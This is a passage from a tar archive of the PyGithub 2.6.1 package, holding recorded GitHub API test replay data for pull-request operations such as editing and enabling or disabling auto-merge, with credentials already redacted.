('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4980'), ('X-RateLimit-Reset', '1607728588'), ('X-RateLimit-Used', '20'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'FFCA:10F6:76E0E:10E80D:5FD3EFF2')] https GET api.github.com None /repos/austinsasko/PyGithub/branches/revert-20-revert-19-revert-18-revert-16-revert-15-revert-14-revert-13-revert-12-revert-11-revert-10-revert-9-revert-8-revert-7-revert-6-revert-5-revert-4-revert-3-revert-2-revert-1-testing {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('Server', 'GitHub.com'), ('Date', 'Fri, 11 Dec 2020 22:17:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '404 Not Found'), ('X-OAuth-Scopes', 'public_repo, read:user, repo:status'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4979'), ('X-RateLimit-Reset', '1607728588'), ('X-RateLimit-Used', '21'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'FFCF:79F1:D0D25:16D5FD:5FD3EFF2')] {"message":"Branch not found","documentation_url":"https://docs.github.com/rest/reference/repos#get-a-branch"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testDisableAutomerge.txt0000644000175100001660000000434014756101563025320 0ustar00runnerdockerhttps POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'Content-Type': 'application/json', 'User-Agent': 'PyGithub/Python'} {"query": "mutation Mutation($input: DisablePullRequestAutoMergeInput!) { disablePullRequestAutoMerge(input: $input) { actor { avatarUrl login resourcePath url } clientMutationId } }", "variables": {"input": {"pullRequestId": "MDExOlB1bGxSZXF1ZXN0MTQzNjIxNQ=="}}} 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jun 2023 08:27:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1573389419d98a2b3d9a6b1fc058a68f1fc3d31108ccfdab8ca4121153626211"'), ('Last-Modified', 'Wed, 07 Jun 2023 04:02:03 GMT'), ('X-OAuth-Scopes', 'public_repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4959'), ('X-RateLimit-Reset', '1686126614'), ('X-RateLimit-Used', '41'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8A96:10854:895AE2:8AB25B:64803F81')] {"data": {"disablePullRequestAutoMerge": {"actor": {"avatarUrl": "https://avatars.githubusercontent.com/u/14806300?u=786f9f8ef8782d45381b01580f7f7783cf9c7e37&v=4", "login": "heitorpolidoro", "resourcePath": "/heitorpolidoro", "url": "https://github.com/heitorpolidoro"}, "clientMutationId": null}}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testEditWithAllArguments.txt0000644000175100001660000004246114756101563026152 0ustar00runnerdockerhttps PATCH api.github.com None /repos/FlorentClarret/PyGithub/pulls/2 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"title": "Title edited by PyGithub", "body": "Body edited by PyGithub", "state": "open", "base": "master", "maintainer_can_modify": true} 200 [('Date', 'Mon, 13 Apr 2020 19:22:00 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1586809318'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1e97ce90f5fa20e47d211d0f61124968"'), ('X-OAuth-Scopes', 'admin:repo_hook, delete_repo, repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C400:0BAB:22B5ECF:289EF45:5E94BBD7')] {"url":"https://api.github.com/repos/FlorentClarret/PyGithub/pulls/2","id":402792811,"node_id":"MDExOlB1bGxSZXF1ZXN0NDAyNzkyODEx","html_url":"https://github.com/FlorentClarret/PyGithub/pull/2","diff_url":"https://github.com/FlorentClarret/PyGithub/pull/2.diff","patch_url":"https://github.com/FlorentClarret/PyGithub/pull/2.patch","issue_url":"https://api.github.com/repos/FlorentClarret/PyGithub/issues/2","number":2,"state":"open","locked":false,"title":"Title edited by PyGithub","user":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars0.githubusercontent.com/u/1266346?v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"body":"Body edited by PyGithub","created_at":"2020-04-13T19:12:37Z","updated_at":"2020-04-13T19:22:00Z","closed_at":null,"merged_at":null,"merge_commit_sha":"567f079c0d56e9db59a78584100ed1b05667126f","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"draft":false,"commits_url":"https://api.github.com/repos/FlorentClarret/PyGithub/pulls/2/commits","review_comments_url":"https://api.github.com/repos/FlorentClarret/PyGithub/pulls/2/comments","review_comment_url":"https://api.github.com/repos/FlorentClarret/PyGithub/pulls/comments{/number}","comments_url":"https://api.github.com/repos/FlorentClarret/PyGithub/issues/2/comments","statuses_url":"https://api.github.com/repos/FlorentClarret/PyGithub/statuses/5160aeacd13c921d152dbaa86b3188fcf0a72a6c","head":{"label":"FlorentClarret:feature/pr-maintainer-can-modify","ref":"feature/pr-maintainer-can-modify","sha":"5160aeacd13c921d152dbaa86b3188fcf0a72a6c","user":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars0.githubusercontent.com/u/1266346?v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"repo":{"id":255355160,"node_id":"MDEwOlJlcG9zaXRvcnkyNTUzNTUxNjA=","name":"PyGithub","full_name":"FlorentClarret/PyGithub","private":false,"owner":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars0.githubusercontent.com/u/1266346?v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"html_url":"https://github.com/FlorentClarret/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/FlorentClarret/PyGithub","forks_url":"https://api.github.com/repos/FlorentClarret/PyGithub/forks","keys_url":"https://api.github.com/repos/FlorentClarret/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/FlorentClarret/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/FlorentClarret/PyGithub/teams","hooks_url":"https://api.github.com/repos/FlorentClarret/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/FlorentClarret/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/FlorentClarret/PyGithub/events","assignees_url":"https://api.github.com/repos/FlorentClarret/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/FlorentClarret/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/FlorentClarret/PyGithub/tags","blobs_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/FlorentClarret/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/FlorentClarret/PyGithub/languages","stargazers_url":"https://api.github.com/repos/FlorentClarret/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/FlorentClarret/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/FlorentClarret/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/FlorentClarret/PyGithub/subscription","commits_url":"https://api.github.com/repos/FlorentClarret/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/FlorentClarret/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/FlorentClarret/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/FlorentClarret/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/FlorentClarret/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/FlorentClarret/PyGithub/merges","archive_url":"https://api.github.com/repos/FlorentClarret/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/FlorentClarret/PyGithub/downloads","issues_url":"https://api.github.com/repos/FlorentClarret/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/FlorentClarret/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/FlorentClarret/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/FlorentClarret/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/FlorentClarret/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/FlorentClarret/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/FlorentClarret/PyGithub/deployments","created_at":"2020-04-13T14:45:18Z","updated_at":"2020-04-13T14:45:20Z","pushed_at":"2020-04-13T19:18:21Z","git_url":"git://github.com/FlorentClarret/PyGithub.git","ssh_url":"git@github.com:FlorentClarret/PyGithub.git","clone_url":"https://github.com/FlorentClarret/PyGithub.git","svn_url":"https://github.com/FlorentClarret/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12619,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":2,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":2,"watchers":0,"default_branch":"master"}},"base":{"label":"FlorentClarret:master","ref":"master","sha":"b4ca9177262b3b3eea2774ac9e942c67783fe4bb","user":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars0.githubusercontent.com/u/1266346?v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"repo":{"id":255355160,"node_id":"MDEwOlJlcG9zaXRvcnkyNTUzNTUxNjA=","name":"PyGithub","full_name":"FlorentClarret/PyGithub","private":false,"owner":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars0.githubusercontent.com/u/1266346?v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"html_url":"https://github.com/FlorentClarret/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/FlorentClarret/PyGithub","forks_url":"https://api.github.com/repos/FlorentClarret/PyGithub/forks","keys_url":"https://api.github.com/repos/FlorentClarret/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/FlorentClarret/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/FlorentClarret/PyGithub/teams","hooks_url":"https://api.github.com/repos/FlorentClarret/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/FlorentClarret/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/FlorentClarret/PyGithub/events","assignees_url":"https://api.github.com/repos/FlorentClarret/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/FlorentClarret/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/FlorentClarret/PyGithub/tags","blobs_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/FlorentClarret/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/FlorentClarret/PyGithub/languages","stargazers_url":"https://api.github.com/repos/FlorentClarret/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/FlorentClarret/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/FlorentClarret/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/FlorentClarret/PyGithub/subscription","commits_url":"https://api.github.com/repos/FlorentClarret/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/FlorentClarret/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/FlorentClarret/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/FlorentClarret/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/FlorentClarret/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/FlorentClarret/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/FlorentClarret/PyGithub/merges","archive_url":"https://api.github.com/repos/FlorentClarret/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/FlorentClarret/PyGithub/downloads","issues_url":"https://api.github.com/repos/FlorentClarret/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/FlorentClarret/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/FlorentClarret/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/FlorentClarret/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/FlorentClarret/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/FlorentClarret/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/FlorentClarret/PyGithub/deployments","created_at":"2020-04-13T14:45:18Z","updated_at":"2020-04-13T14:45:20Z","pushed_at":"2020-04-13T19:18:21Z","git_url":"git://github.com/FlorentClarret/PyGithub.git","ssh_url":"git@github.com:FlorentClarret/PyGithub.git","clone_url":"https://github.com/FlorentClarret/PyGithub.git","svn_url":"https://github.com/FlorentClarret/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12619,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":2,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":2,"watchers":0,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/FlorentClarret/PyGithub/pulls/2"},"html":{"href":"https://github.com/FlorentClarret/PyGithub/pull/2"},"issue":{"href":"https://api.github.com/repos/FlorentClarret/PyGithub/issues/2"},"comments":{"href":"https://api.github.com/repos/FlorentClarret/PyGithub/issues/2/comments"},"review_comments":{"href":"https://api.github.com/repos/FlorentClarret/PyGithub/pulls/2/comments"},"review_comment":{"href":"https://api.github.com/repos/FlorentClarret/PyGithub/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/FlorentClarret/PyGithub/pulls/2/commits"},"statuses":{"href":"https://api.github.com/repos/FlorentClarret/PyGithub/statuses/5160aeacd13c921d152dbaa86b3188fcf0a72a6c"}},"author_association":"OWNER","merged":false,"mergeable":null,"rebaseable":null,"mergeable_state":"unknown","merged_by":null,"comments":0,"review_comments":0,"maintainer_can_modify":true,"commits":1,"additions":57,"deletions":9,"changed_files":4} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testEditWithoutArguments.txt0000644000175100001660000001161214756101563026243 0ustar00runnerdockerhttps PATCH api.github.com None /repos/PyGithub/PyGithub/pulls/31 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4983'), ('content-length', '4486'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f64654209621a4117940acf5b8ac7918"'), ('date', 'Sun, 27 May 2012 10:16:02 GMT'), ('content-type', 'application/json; charset=utf-8')] {"merged":false,"mergeable":true,"head":{"ref":"master","label":"BeaverSoftware:master","repo":{"clone_url":"https://github.com/BeaverSoftware/PyGithub.git","has_downloads":true,"watchers":1,"git_url":"git://github.com/BeaverSoftware/PyGithub.git","updated_at":"2012-05-27T09:09:17Z","homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/BeaverSoftware/PyGithub","mirror_url":null,"has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":176,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/PyGithub","owner":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:BeaverSoftware/PyGithub.git","pushed_at":"2012-05-27T09:09:17Z","created_at":"2012-05-27T08:50:04Z","id":4460787,"html_url":"https://github.com/BeaverSoftware/PyGithub","full_name":"BeaverSoftware/PyGithub"},"user":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031},"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},"updated_at":"2012-05-27T10:16:02Z","issue_url":"https://github.com/PyGithub/PyGithub/issues/31","body":"Body of the pull request","patch_url":"https://github.com/PyGithub/PyGithub/pull/31.patch","diff_url":"https://github.com/PyGithub/PyGithub/pull/31.diff","url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31","comments":0,"base":{"ref":"topic/RewriteWithGeneratedCode","label":"jacquev6:topic/RewriteWithGeneratedCode","repo":{"clone_url":"https://github.com/PyGithub/PyGithub.git","has_downloads":true,"watchers":15,"git_url":"git://github.com/PyGithub/PyGithub.git","updated_at":"2012-05-27T08:50:04Z","homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub","mirror_url":null,"has_wiki":false,"has_issues":true,"fork":false,"forks":3,"size":308,"private":false,"open_issues":17,"svn_url":"https://github.com/PyGithub/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-27T07:29:24Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"html_url":"https://github.com/PyGithub/PyGithub","full_name":"jacquev6/PyGithub"},"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"sha":"ed866fc43833802ab553e5ff8581c81bb00dd433"},"number":31,"merged_by":null,"closed_at":null,"title":"Pull request created by PyGithub","deletions":384,"merged_at":null,"_links":{"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31"},"comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/31/comments"},"issue":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/31"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/31"},"review_comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31/comments"}},"changed_files":45,"additions":511,"created_at":"2012-05-27T09:25:36Z","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"state":"open","id":1436215,"review_comments":1,"commits":3,"html_url":"https://github.com/PyGithub/PyGithub/pull/31"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testEnableAutomerge.txt0000644000175100001660000000470014756101563025143 0ustar00runnerdockerhttps POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'Content-Type': 'application/json', 'User-Agent': 'PyGithub/Python'} {"query": "mutation Mutation($input: EnablePullRequestAutoMergeInput!) { enablePullRequestAutoMerge(input: $input) { actor { avatarUrl login resourcePath url } clientMutationId } }", "variables": {"input": {"pullRequestId": "MDExOlB1bGxSZXF1ZXN0MTQzNjIxNQ==", "mergeMethod": "SQUASH", "authorEmail": "foo@example.com", "clientMutationId": "1234", "commitBody": "body of the commit", "commitHeadline": "The commit headline", "expectedHeadOid": "0283d46537193f1fed7d46859f15c5304b9836f9"}}} 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jun 2023 08:27:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1573389419d98a2b3d9a6b1fc058a68f1fc3d31108ccfdab8ca4121153626211"'), ('Last-Modified', 'Wed, 07 Jun 2023 04:02:03 GMT'), ('X-OAuth-Scopes', 'public_repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4959'), ('X-RateLimit-Reset', '1686126614'), ('X-RateLimit-Used', '41'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 